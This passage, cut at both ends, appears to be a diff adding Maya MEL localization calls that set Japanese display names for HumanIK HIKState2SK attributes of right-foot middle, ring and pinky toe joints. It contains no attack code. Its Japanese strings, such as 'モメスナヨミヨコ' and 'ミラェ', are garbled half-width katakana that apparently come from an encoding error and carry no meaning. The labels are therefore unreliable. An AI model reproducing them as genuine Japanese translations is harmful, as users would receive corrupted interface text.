ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Sy", "モメスナヨミヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Sz", "モメスナヨミヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PGX", "モメスナヨミヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1ROrder", "モメスナヨミヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1SC", "モメスナヨミヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1IS", "モメスナヨミヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1ISx", "モメスナヨミヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1ISy", "モメスナヨミヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1ISz", "モメスナヨミヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PreR", "モメスナヨミヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PreRx", "モメスナヨミヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PreRy", "モメスナヨミヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PreRz", "モメスナヨミヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PostR", "モメスナヨミヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PostRx", "モメスナヨミヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PostRy", "モメスナヨミヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PostRz", "モメスナヨミヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2T", "モメスナヨミヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Tx", "モメスナヨミヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Ty", "モメスナヨミヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Tz", "モメスナヨミヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2R", "モメスナヨミヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Rx", "モメスナヨミヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Ry", "モメスナヨミヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Rz", "モメスナヨミヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2S", "モメスナヨミヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Sx", "モメスナヨミヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Sy", "モメスナヨミヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Sz", "モメスナヨミヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PGX", "モメスナヨミヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2ROrder", "モメスナヨミヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2SC", "モメスナヨミヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2IS", "モメスナヨミヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2ISx", "モメスナヨミヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2ISy", "モメスナヨミヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2ISz", "モメスナヨミヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PreR", "モメスナヨミヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PreRx", "モメスナヨミヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PreRy", "モメスナヨミヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PreRz", "モメスナヨミヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PostR", "モメスナヨミヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PostRx", "モメスナヨミヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PostRy", "モメスナヨミヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PostRz", "モメスナヨミヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3T", "モメスナヨミヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Tx", "モメスナヨミヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Ty", "モメスナヨミヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Tz", "モメスナヨミヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3R", "モメスナヨミヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Rx", "モメスナヨミヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Ry", "モメスナヨミヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Rz", "モメスナヨミヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3S", "モメスナヨミヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Sx", "モメスナヨミヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Sy", "モメスナヨミヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Sz", "モメスナヨミヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PGX", "モメスナヨミヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3ROrder", "モメスナヨミヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3SC", "モメスナヨミヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3IS", "モメスナヨミヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3ISx", "モメスナヨミヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3ISy", "モメスナヨミヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3ISz", "モメスナヨミヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PreR", "モメスナヨミヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PreRx", "モメスナヨミヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PreRy", "モメスナヨミヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PreRz", "モメスナヨミヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PostR", "モメスナヨミヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PostRx", "モメスナヨミヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PostRy", "モメスナヨミヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PostRz", "モメスナヨミヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4T", "モメスナヨミヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Tx", "モメスナヨミヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Ty", "モメスナヨミヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Tz", "モメスナヨミヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4R", "モメスナヨミヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Rx", "モメスナヨミヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Ry", "モメスナヨミヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Rz", "モメスナヨミヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4S", "モメスナヨミヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Sx", "モメスナヨミヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Sy", "モメスナヨミヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Sz", "モメスナヨミヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PGX", "モメスナヨミヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4ROrder", "モメスナヨミヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4SC", "モメスナヨミヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4IS", "モメスナヨミヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4ISx", "モメスナヨミヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4ISy", "モメスナヨミヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4ISz", "モメスナヨミヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PreR", "モメスナヨミヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PreRx", "モメスナヨミヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PreRy", "モメスナヨミヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PreRz", "モメスナヨミヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PostR", "モメスナヨミヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PostRx", "モメスナヨミヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PostRy", "モメスナヨミヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PostRz", "モメスナヨミヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1T", "モメスナヒトヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Tx", "モメスナヒトヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Ty", "モメスナヒトヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Tz", "モメスナヒトヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1R", "モメスナヒトヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Rx", "モメスナヒトヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Ry", "モメスナヒトヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Rz", "モメスナヒトヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1S", "モメスナヒトヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Sx", "モメスナヒトヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Sy", "モメスナヒトヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Sz", "モメスナヒトヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PGX", "モメスナヒトヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1ROrder", "モメスナヒトヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1SC", "モメスナヒトヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1IS", "モメスナヒトヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1ISx", "モメスナヒトヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1ISy", "モメスナヒトヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1ISz", "モメスナヒトヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PreR", "モメスナヒトヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PreRx", "モメスナヒトヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PreRy", "モメスナヒトヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PreRz", "モメスナヒトヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PostR", "モメスナヒトヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PostRx", "モメスナヒトヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PostRy", "モメスナヒトヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PostRz", "モメスナヒトヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2T", "モメスナヒトヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Tx", "モメスナヒトヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Ty", "モメスナヒトヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Tz", "モメスナヒトヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2R", "モメスナヒトヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Rx", "モメスナヒトヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Ry", "モメスナヒトヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Rz", "モメスナヒトヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2S", "モメスナヒトヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Sx", "モメスナヒトヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Sy", "モメスナヒトヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Sz", "モメスナヒトヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PGX", "モメスナヒトヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2ROrder", "モメスナヒトヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2SC", "モメスナヒトヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2IS", "モメスナヒトヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2ISx", "モメスナヒトヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2ISy", "モメスナヒトヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2ISz", "モメスナヒトヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PreR", "モメスナヒトヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PreRx", "モメスナヒトヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PreRy", "モメスナヒトヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PreRz", "モメスナヒトヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PostR", "モメスナヒトヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PostRx", "モメスナヒトヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PostRy", "モメスナヒトヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PostRz", "モメスナヒトヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3T", "モメスナヒトヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Tx", "モメスナヒトヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Ty", "モメスナヒトヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Tz", "モメスナヒトヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3R", "モメスナヒトヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Rx", "モメスナヒトヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Ry", "モメスナヒトヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Rz", "モメスナヒトヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3S", "モメスナヒトヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Sx", "モメスナヒトヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Sy", "モメスナヒトヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Sz", "モメスナヒトヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PGX", "モメスナヒトヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3ROrder", "モメスナヒトヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3SC", "モメスナヒトヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3IS", "モメスナヒトヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3ISx", "モメスナヒトヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3ISy", "モメスナヒトヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3ISz", "モメスナヒトヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PreR", "モメスナヒトヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PreRx", "モメスナヒトヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PreRy", "モメスナヒトヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PreRz", "モメスナヒトヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PostR", "モメスナヒトヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PostRx", "モメスナヒトヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PostRy", "モメスナヒトヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PostRz", "モメスナヒトヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4T", "モメスナヒトヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Tx", "モメスナヒトヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Ty", "モメスナヒトヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Tz", "モメスナヒトヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4R", "モメスナヒトヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Rx", "モメスナヒトヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Ry", "モメスナヒトヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Rz", "モメスナヒトヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4S", "モメスナヒトヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Sx", "モメスナヒトヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Sy", "モメスナヒトヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Sz", "モメスナヒトヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PGX", "モメスナヒトヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4ROrder", "モメスナヒトヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4SC", "モメスナヒトヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4IS", "モメスナヒトヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4ISx", "モメスナヒトヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4ISy", "モメスナヒトヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4ISz", "モメスナヒトヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PreR", "モメスナヒトヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PreRx", "モメスナヒトヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PreRy", "モメスナヒトヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PreRz", "モメスナヒトヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PostR", "モメスナヒトヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PostRx", "モメスナヒトヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PostRy", "モメスナヒトヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PostRz", "モメスナヒトヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1T", "モメスナミ。ヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Tx", "モメスナミ。ヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Ty", "モメスナミ。ヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Tz", "モメスナミ。ヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1R", "モメスナミ。ヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Rx", "モメスナミ。ヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Ry", "モメスナミ。ヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Rz", "モメスナミ。ヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1S", "モメスナミ。ヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Sx", "モメスナミ。ヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Sy", "モメスナミ。ヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Sz", "モメスナミ。ヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PGX", "モメスナミ。ヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1ROrder", "モメスナミ。ヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1SC", "モメスナミ。ヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1IS", "モメスナミ。ヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1ISx", "モメスナミ。ヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1ISy", "モメスナミ。ヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1ISz", "モメスナミ。ヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PreR", "モメスナミ。ヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PreRx", "モメスナミ。ヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PreRy", "モメスナミ。ヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PreRz", "モメスナミ。ヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PostR", "モメスナミ。ヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PostRx", "モメスナミ。ヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PostRy", "モメスナミ。ヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PostRz", "モメスナミ。ヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2T", "モメスナミ。ヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Tx", "モメスナミ。ヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Ty", "モメスナミ。ヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Tz", "モメスナミ。ヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2R", "モメスナミ。ヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Rx", "モメスナミ。ヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Ry", "モメスナミ。ヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Rz", "モメスナミ。ヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2S", "モメスナミ。ヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Sx", "モメスナミ。ヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Sy", "モメスナミ。ヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Sz", "モメスナミ。ヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PGX", "モメスナミ。ヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2ROrder", "モメスナミ。ヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2SC", "モメスナミ。ヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2IS", "モメスナミ。ヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2ISx", "モメスナミ。ヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2ISy", "モメスナミ。ヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2ISz", "モメスナミ。ヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PreR", "モメスナミ。ヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PreRx", "モメスナミ。ヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PreRy", "モメスナミ。ヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PreRz", "モメスナミ。ヨコ 2 